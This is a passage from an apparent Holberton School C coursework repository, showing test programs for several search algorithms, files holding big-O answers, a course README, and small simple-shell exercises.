10 | int main(void) 11 | { 12 | int array[] = { 13 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 14 | }; 15 | size_t size = sizeof(array) / sizeof(array[0]); 16 | 17 | printf("Found %d at index: %d\n\n", 2, binary_search(array, size, 2)); 18 | printf("Found %d at index: %d\n\n", 5, binary_search(array, 5, 5)); 19 | printf("Found %d at index: %d\n", 999, binary_search(array, size, 999)); 20 | return (EXIT_SUCCESS); 21 | } 22 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/100-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "search_algos.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always EXIT_SUCCESS 9 | */ 10 | int main(void) 11 | { 12 | int array[] = { 13 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 14 | }; 15 | size_t size = sizeof(array) / sizeof(array[0]); 16 | 17 | printf("Found %d at index: %d\n\n", 6, jump_search(array, size, 6)); 18 | printf("Found %d at index: %d\n\n", 1, jump_search(array, size, 1)); 19 | printf("Found %d at index: %d\n", 999, jump_search(array, size, 999)); 20 | return (EXIT_SUCCESS); 21 | } 22 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/101-O: -------------------------------------------------------------------------------- 1 | O(sqrt(n)) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/102-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "search_algos.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always EXIT_SUCCESS 9 | */ 10 | int main(void) 11 | { 12 | int array[] = { 13 | 0, 0, 1, 2, 2, 2, 2, 3, 3, 4, 4, 5, 6, 6, 7, 8, 8, 8, 9, 9 14 | }; 15 | size_t size = sizeof(array) / sizeof(array[0]); 16 | 17 | printf("Found %d at index: %d\n\n", 3, interpolation_search(array, size, 3)); 18 | printf("Found %d at index: %d\n\n", 7, interpolation_search(array, size, 7)); 19 | printf("Found %d at index: %d\n", 999, interpolation_search(array, size, 999)); 20 | return (EXIT_SUCCESS); 21 | } 22 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/103-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "search_algos.h" 4 | 5 | /** 6 | * main - Entry point 7 | * 8 | * Return: Always EXIT_SUCCESS 9 | */ 10 | int main(void) 11 | { 12 | int array[] = { 13 | 0, 1, 2, 3, 4, 7, 12, 15, 18, 19, 23, 54, 61, 62, 76, 99 14 | }; 15 | size_t size = sizeof(array) / sizeof(array[0]); 16 | 17 | printf("Found %d at index: %d\n\n", 62, exponential_search(array, size, 62)); 18 | printf("Found %d at index: %d\n\n", 3, exponential_search(array, size, 3)); 19 | printf("Found %d at index: %d\n", 999, exponential_search(array, size, 999)); 20 | return (EXIT_SUCCESS); 21 | } 22 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/107-O: -------------------------------------------------------------------------------- 1 | O(n) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/108-O: -------------------------------------------------------------------------------- 1 | O(sqrt(n)) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/2-O: -------------------------------------------------------------------------------- 1 | O(n) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/3-O: -------------------------------------------------------------------------------- 1 | O(1) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/4-O: -------------------------------------------------------------------------------- 1 | O(log(n)) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/5-O: -------------------------------------------------------------------------------- 1 | O(1) 2 | -------------------------------------------------------------------------------- /0x1E-search_algorithms/6-O: -------------------------------------------------------------------------------- 1 | O(nm) 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Holberton School - Low Level Programming 2 | ## My Adventures in the Land of C at Holberton 3 | 4 | * **0x00. C - Hello, World** 5 | * My first C project at Holberton School 6 | 7 | * **0x01. C - Variables, if, else, while** 8 | * Intro to loops and conditionals 9 | 10 | * **0x02. C - Functions, nested loops** 11 | * Intro to functions and nested loops 12 | 13 | * **0x03. C - Debugging** 14 | * Intro to manual debugging 15 | 16 | * **0x04. C - More functions, more nested loops** 17 | * Another look at functions and loops 18 | 19 | * **0x05. C - Pointers, arrays and strings** 20 | * Intro to pointers, arrays and strings 21 | -------------------------------------------------------------------------------- /simple-shell-exercises/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't a README or C source code 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /simple-shell-exercises/0-av.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc __attribute__((unused)), const char *argv[]) 5 | { 6 | unsigned int i = 0; 7 | 8 | while (argv[i]) 9 | { 10 | printf("%s\n", argv[i]); 11 | ++i; 12 | } 13 | return (0); 14 | } 15 | -------------------------------------------------------------------------------- /simple-shell-exercises/0-getppid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | printf("%i\n", getppid()); 7 | return (0); 8 | } 9 | -------------------------------------------------------------------------------- /simple-shell-exercises/1-read_line.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) 6 | { 7 | char *line = NULL; 8 | size_t len = 0; 9 | ssize_t n_read; 10 | 11 | write(STDERR_FILENO, "$ ", 2); 12 | 13 | n_read = getline(&line, &len, stdin); 14 | 15 | if (n_read > 0) 16 | write(STDOUT_FILENO, line, n_read); 17 | else 18 | write(STDOUT_FILENO, "\n", 1); 19 | 20 | free(line); 21 | 22 | if (n_read == -1) 23 | return (EXIT_FAILURE); 24 | return (EXIT_SUCCESS); 25 | } 26 | -------------------------------------------------------------------------------- /simple-shell-exercises/README.md: -------------------------------------------------------------------------------- 1 | # Shell Exercises 2 | --------------------------------------------------------------------------------